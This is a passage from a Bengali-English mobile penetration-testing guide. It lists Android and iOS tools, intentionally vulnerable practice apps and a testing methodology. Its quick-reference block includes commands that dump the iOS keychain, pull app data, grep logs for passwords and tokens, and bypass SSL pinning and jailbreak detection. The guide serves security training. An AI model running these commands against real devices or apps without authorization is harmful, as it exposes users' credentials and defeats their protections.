[*] Encrypting: " + Java.array("byte", data)); return this.doFinal(data); };
});
```

CHAPTER 12

🛠️ Tools ও Lab Setup — সম্পূর্ণ গাইড

সব টুল এক জায়গায়

Android Tools সম্পূর্ণ তালিকা

টুল	কাজ	Install
apktool	APK decompile/recompile	apt install apktool
jadx / jadx-gui	DEX → Java decompile	apt install jadx
dex2jar	DEX → JAR convert	apt install dex2jar
ADB	Device control	apt install adb
Frida	Dynamic instrumentation	pip3 install frida-tools
Objection	Frida-based framework	pip3 install objection
Drozer	Android attack framework	pip3 install drozer
MobSF	Automated analysis	Docker
Burp Suite	Traffic intercept	Free download
mitmproxy	CLI traffic intercept	pip3 install mitmproxy
Genymotion	Android Emulator	genymotion.com
AndroGuard	Python APK analysis	pip3 install androguard

iOS Tools সম্পূর্ণ তালিকা

টুল	কাজ	Install
Frida	Dynamic instrumentation	pip3 install frida-tools
Objection	iOS runtime analysis	pip3 install objection
class-dump	Obj-C class headers	Homebrew
Hopper	ARM disassembler	hopperapp.com
iProxy	USB port forwarding	Homebrew
frida-ios-dump	Decrypt IPA	GitHub
Cycript	Obj-C runtime	Cydia
MobSF	Automated analysis	Docker
plutil	plist analysis	Built-in macOS
iMazing	iOS device manager	imazing.com

Practice Apps — Learning Platform

App	Platform	ডাউনলোড
DIVA Android	Android	GitHub: payatu/diva-android
InsecureBankv2	Android	GitHub: dineshshetty/Android-InsecureBankv2
GoatDroid	Android	GitHub: jackMannino/OWASP-GoatDroid
Damn Vulnerable iOS App	iOS	GitHub: prateek147/DVIA-v2
iGoat	iOS	OWASP iGoat project
HackTheBox Mobile	Both	hackthebox.com
InjuredAndroid	Android	GitHub: B3nac/InjuredAndroid

Quick Reference — সব কমান্ড একসাথে

```
# == Android Quick Commands == adb devices # Device check adb shell pm list packages | grep target # App খোঁজো adb shell am start -n pkg/.Activity # Activity launch adb pull /data/data/pkg/ ./ # Data pull adb logcat | grep -i "pass\|token" # Log monitor apktool d app.apk -o decoded/ # Decompile jadx-gui app.apk # GUI decompile objection -g com.target.app explore # Runtime analysis frida -U -f com.app -l hook.js # Frida inject # == iOS Quick Commands == frida-ls-devices # Devices list frida-ps -U # Running processes objection -g com.target.app explore # Explore ios jailbreak disable # Bypass jailbreak ios sslpinning disable # SSL bypass ios keychain dump # Keychain dump ios nsuserdefaults get # Preferences strings AppBinary | grep -i secret # Static analysis
```

🎯 Mobile Hacking Methodology

- ✅ Setup → Emulator/Device + Frida + Burp
- ✅ Static → APK/IPA decompile → Secrets, Permissions, Manifest
- ✅ Dynamic → ADB/Objection → Storage, Activities, Logs
- ✅ Traffic → SSL Pinning Bypass → API Analysis
- ✅ Runtime → Frida Hook → Auth Bypass, Root/Jailbreak Bypass
- ✅ OWASP → M1-M10 systematically check করো
- ✅ Report → PoC + Screenshot + Impact

🤖 Android + 🍎 iOS = 📱 Mobile Security Expert

Practice করো DIVA Android ও HackTheBox Mobile Challenge-এ।

🛡️ Test Ethically. Report Responsibly. Keep Learning.